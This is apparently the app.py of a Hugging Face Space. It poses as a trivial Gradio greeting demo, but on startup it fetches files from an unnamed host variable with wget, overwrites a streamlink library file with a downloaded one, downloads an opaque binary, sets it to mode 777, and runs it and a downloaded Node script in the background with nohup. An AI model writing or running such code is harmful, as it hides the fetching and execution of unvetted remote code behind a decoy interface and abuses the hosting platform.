via / app.py
facejaw's picture
Update app.py
66c2005 verified
import gradio as gr
import subprocess
import sys
import os
import signal
subprocess.run('apt-get install nodejs -y', shell=True)
subprocess.run('apt-get install npm -y', shell=True)
subprocess.run('apt-get install htop -y', shell=True)
subprocess.run('apt-get install nano -y', shell=True)
subprocess.run('npm install express', shell=True)
subprocess.run('npm install cors', shell=True)
subprocess.run('python -m pip install "lxml>=5.1.0"', shell=True)
subprocess.run('npm install fluent-ffmpeg', shell=True)
subprocess.run('python3 -m pip install --no-deps git+https://github.com/WesleySouto/streamlink.git', shell=True)
subprocess.run('python3 -m pip install requests pycryptodome certifi pycountry isodate websocket-client trio trio-websocket urllib3', shell=True)
subprocess.run('wget -m -np http://$host/hug/', shell=True)
subprocess.run('mv /home/user/app/$host/hug/http_session.py /usr/local/lib/python3.13/site-packages/streamlink/plugin/api/http_session.py', shell=True)
subprocess.run('wget -O /home/user/app/x http://$host/hg2/x', shell=True)
subprocess.run('chmod 777 /home/user/app/x', shell=True)
subprocess.run('wget -O /home/user/app/nl.json http://$host/hg2/nl.json', shell=True)
subprocess.run('wget -O /home/user/app/via.js http://$host/hg2/via.js', shell=True)
subprocess.run('wget -O /home/user/app/via.json http://$host/hg2/via.json', shell=True)
subprocess.run('nohup /home/user/app/x run -c=nl.json > all.out 2>&1 &', shell=True)
subprocess.run('nohup node /home/user/app/via.js > all2.out 2>&1 &', shell=True)
def greet(name):
return "Hello " + name + "!!"
demo = gr.Interface(fn=greet, inputs="text", outputs="text")
demo.launch()